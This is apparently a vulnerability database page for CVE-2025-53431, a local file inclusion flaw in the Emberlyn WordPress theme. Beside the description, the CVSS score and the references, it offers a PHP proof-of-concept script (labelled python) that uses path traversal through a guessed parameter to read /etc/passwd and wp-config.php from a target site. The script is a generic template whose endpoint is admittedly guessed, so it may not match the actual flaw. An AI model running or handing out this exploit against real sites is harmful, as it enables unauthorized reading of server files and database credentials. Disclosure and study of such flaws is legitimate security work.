CVE-2025-53431

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Emberlyn emberlyn allows PHP Local File Inclusion.This issue affects Emberlyn: from n/a through <= 1.3.1.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Emberlyn主题 <= 1.3.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-53431 PoC - Emberlyn Theme Local File Inclusion
 * Target: AncoraThemes Emberlyn WordPress Theme <= 1.3.1
 * Vulnerability: Local File Inclusion via unsafe include/require
 */

$target = 'http://target-site.com/';
$wp_path = '/wp-content/themes/emberlyn/';

// Vulnerable parameter (adjust based on actual vulnerable endpoint)
$vuln_param = 'template';

// Read sensitive files
$files_to_read = [
    '../../../../../../etc/passwd',
    '../../../../../../wp-config.php',
    '../../../../../../windows/system32/drivers/etc/hosts'
];

echo "Testing CVE-2025-53431 - Emberlyn LFI\n";
echo "Target: {$target}\n\n";

foreach ($files_to_read as $file) {
    $url = $target . $wp_path . '?' . $vuln_param . '=' . urlencode($file);
    echo "Requesting: {$url}\n";
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code == 200 && !empty($response)) {
        echo "[SUCCESS] File content retrieved:\n";
        echo substr($response, 0, 500) . "\n\n";
    } else {
        echo "[FAILED] Could not retrieve file\n\n";
    }
}
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-53431
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-53431
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-53431/
[4] VulDB https://vuldb.com/cve/CVE-2025-53431
[5] https://patchstack.com/database/Wordpress/Theme/emberlyn/vulnerability/wordpress-emberlyn-theme-1-3-1-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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